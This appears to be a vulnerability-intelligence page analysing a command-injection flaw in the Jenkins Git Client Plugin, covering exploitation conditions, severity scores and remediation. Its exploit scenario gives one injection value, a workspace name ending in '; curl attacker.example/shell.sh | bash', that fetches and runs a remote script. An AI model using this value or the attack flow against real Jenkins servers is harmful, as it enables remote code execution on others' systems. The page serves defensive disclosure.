Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Jenkins with low-privilege account
-
DeliveryConfigure job or Jenkinsfile with shell-metacharacter workspace name
-
ExploitTrigger build using SSH-authenticated Git operation
-
ExecutionPlugin generates SSH wrapper script embedding unescaped workspace path
-
PersistOS shell interprets injected metacharacters
-
ImpactArbitrary commands execute as Jenkins agent process user
Vulnerability Assessment
| Weakness |
CWE
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated low-privileged access to Jenkins sufficient to influence the build's working directory name - typically via the ability to configure a Jenkins job, use the ws() pipeline step in a Jenkinsfile, or set a custom workspace in job-level configuration. The vulnerability only triggers when SSH credentials (not HTTPS) are configured for the Git operation, as the SSH wrapper script generation is the vulnerable code path. Both conditions - attacker-controlled workspace name AND SSH-based Git authentication in the affected job - must be true simultaneously. Limiting factors: authenticated Jenkins access is required (PR:L); SSH Git credential configuration must be in use for that specific job; the attacker must be able to control the workspace path, not merely read it; and a build must be triggered after the malicious workspace name is set. Standard Jenkins installations where workspace names are derived from the job name only and SSH credentials are not in use are not exploitable. |
| Impact | The official CVSS score of 5.0 (Medium) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L accurately captures several real constraints: authenticated access is required (PR:L), exploitation complexity is elevated (AC:H) because the attacker must specifically control the workspace directory name, and scope is unchanged (S:U) meaning impact is bounded to the agent. EPSS at 0.18% (8th percentile) is consistent with SSVC exploitation: none, confirming no observed exploitation activity. These signals collectively indicate this is a real but non-urgent vulnerability for most organizations. However, the effective AC:H should be stress-tested against actual deployment: in Jenkins environments where developers can use the ws() pipeline step or configure custom workspace paths in Jenkinsfiles - which is common in large engineering organizations - the attacker's ability to influence directory names may be readily available, reducing the practical complexity. SSVC technical impact of 'partial' aligns with the Low CIA triad. The impact ceiling is bounded to the agent process user, not the Jenkins controller, further limiting blast radius. |
| Exploit ScenarioDerived | An attacker with a low-privileged Jenkins account - such as a developer with job configuration access - sets a build's workspace directory to a name containing shell metacharacters (for example, a path ending in '; curl attacker.example/shell.sh | bash'). When the pipeline runs and the Git Client Plugin constructs the SSH wrapper script for an SSH-credential-backed Git operation, the unescaped directory name causes the injected commands to execute as the agent process user. No public exploit code has been identified at the time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
OS command injection in Jenkins Git Client Plugin 6.6.0 and earlier enables low-privileged authenticated attackers who can control a build's working directory name to execute arbitrary commands on the Jenkins agent. The plugin fails to escape the workspace directory path before embedding it into a dynamically generated SSH wrapper script, meaning shell metacharacters in the directory name are interpreted by the OS shell. No active exploitation is confirmed - EPSS is 0.18% (8th percentile) and SSVC exploitation status is 'none' - but the risk is meaningful in multi-tenant Jenkins environments where developers can define custom workspace names via Jenkinsfiles.
RemediationAI
The primary fix is to upgrade the Jenkins Git Client Plugin beyond version 6.6.0; the exact patched release version is not explicitly stated in the available intelligence data and must be confirmed directly from the Jenkins security advisory at https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3723 before deploying the upgrade. As an immediate compensating control where patching is delayed, administrators should restrict the ability to configure custom workspace directory names - specifically, limit use of the ws() pipeline step and custom workspace settings to trusted, internal developers rather than external contributors or untrusted pipeline authors. Switching affected jobs from SSH-based to HTTPS-based Git credentials eliminates the vulnerable SSH wrapper script generation path entirely, though this requires credential migration and may affect SSH key-based access controls. Running Jenkins agents under OS accounts with minimal filesystem permissions reduces the blast radius of any successful injection to the agent's user context only.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Jenkins Git Client Plugin (CPE: cpe:2.3:a:jenkins_project:jenkins_git_client_plugin) handles Git operations in Jenkins CI/CD pipelines. When SSH credentials are used for Git authentication, the plugin dynamically generates a temporary shell wrapper script that invokes the ssh binary with the appropriate environment. CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) identifies the root cause: the workspace directory path - which can be influenced by job configuration or Jenkinsfile directives - is interpolated into this shell script without sanitization or quoting. Shell metacharacters (backticks, semicolons, dollar signs, etc.) embedded in the directory name are therefore passed to the OS shell unescaped. All versions through 6.6.0 are confirmed vulnerable per EUVD-2026-38762 and the Jenkins SECURITY-3723 advisory.
Know when Jenkins Git Client Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
AC:H reflects the dual requirement of controlling workspace name and having SSH credentials configured; PR:L requires authenticated Jenkins access; S:U limits impact to the agent only.
Primary rating from Vendor (jenkins).
CVSS VectorVendor: jenkins
Lifecycle Timeline
2DescriptionCVE.org
Jenkins Git client Plugin 6.6.0 and earlier does not correctly escape the workspace directory name when it is embedded into a generated SSH wrapper script, allowing attackers able to control the name of a build's working directory to execute arbitrary operating system commands on the agent.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-38762
GHSA-wp5x-hrrw-6r4g
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB